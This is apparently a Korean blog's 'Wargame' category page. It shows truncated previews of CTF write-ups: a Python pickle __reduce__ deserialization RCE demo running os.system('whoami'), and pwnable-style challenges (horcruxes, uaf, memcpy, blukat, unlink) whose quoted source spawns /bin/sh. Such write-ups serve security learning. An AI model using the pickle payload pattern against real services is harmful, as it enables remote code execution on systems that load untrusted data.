목록Wargame (116)
cgy12306
파이썬 pickle 모듈에서 loads를 수행 시 __reduce__ 메소드를 통해 deserialize 할때 발생하는 RCE 취약점 import pickle import os class exploit(): def __reduce__(self): return (os.system,("whoami", )) pd = pickle.dumps(exploit()) pl = pickle.loads(pd) print(pl) __reduce__ 메소드는 튜플을 반환 whoami 명령 수행 확인 pickletools를 통해 pickle 데이터를 분석할 수 있음 import pickle import os import pickletools class exploit(): def __reduce__(self): return (o..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
[horcruxes] readme 파일을 읽어보자. 9032 포트에 붙어서 실행하라고 한다. 7개의 호크룩스를 찾아서 파괴하라고 한다. 메뉴를 선택하고 얼마나 많은 경험치를 얻었냐고 한다. 아무런 힌트가 없어서 직접 gdb로 분석하다가 이번 cykor 세미나 때 이 문제는 scp 명령어로 바이너리 다운받아서 풀어야 한다고 한다. scp -P 포트번호 ID@주소:바이너리경로 로컬경로 이런식으로 입력해주면 다운로드가 된다. 아이다로 열어보자. 메인 함수의 부분이다. init_ABCDEFG() 함수로 들어가보자. 랜덤한 값을 읽어와서 특정한 연산을 한 후 a, b, c, d, e, f, g에 저장을 한다. 그리고 다 더한 값을 sum에 저장한다. 빠져나와서 ropme 함수 부분을 보자. int ropme() ..
[uaf] #include #include #include #include #include using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout
[memcpy] // compiled with : gcc -o memcpy memcpy.c -m32 -lm #include #include #include #include #include #include #include unsigned long long rdtsc(){ asm("rdtsc"); } char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( "movdqa (%0), %%xmm0\n" "movdqa 16(%0), %%xmm1\n" "movdqa 32(%0), %%xmm2\n" "m..
[blukat] #include #include #include #include char flag[100]; char password[100]; char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+"; void calc_flag(char* s){ int i; for(i=0; i
[unlink] #include #include #include typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // doubl..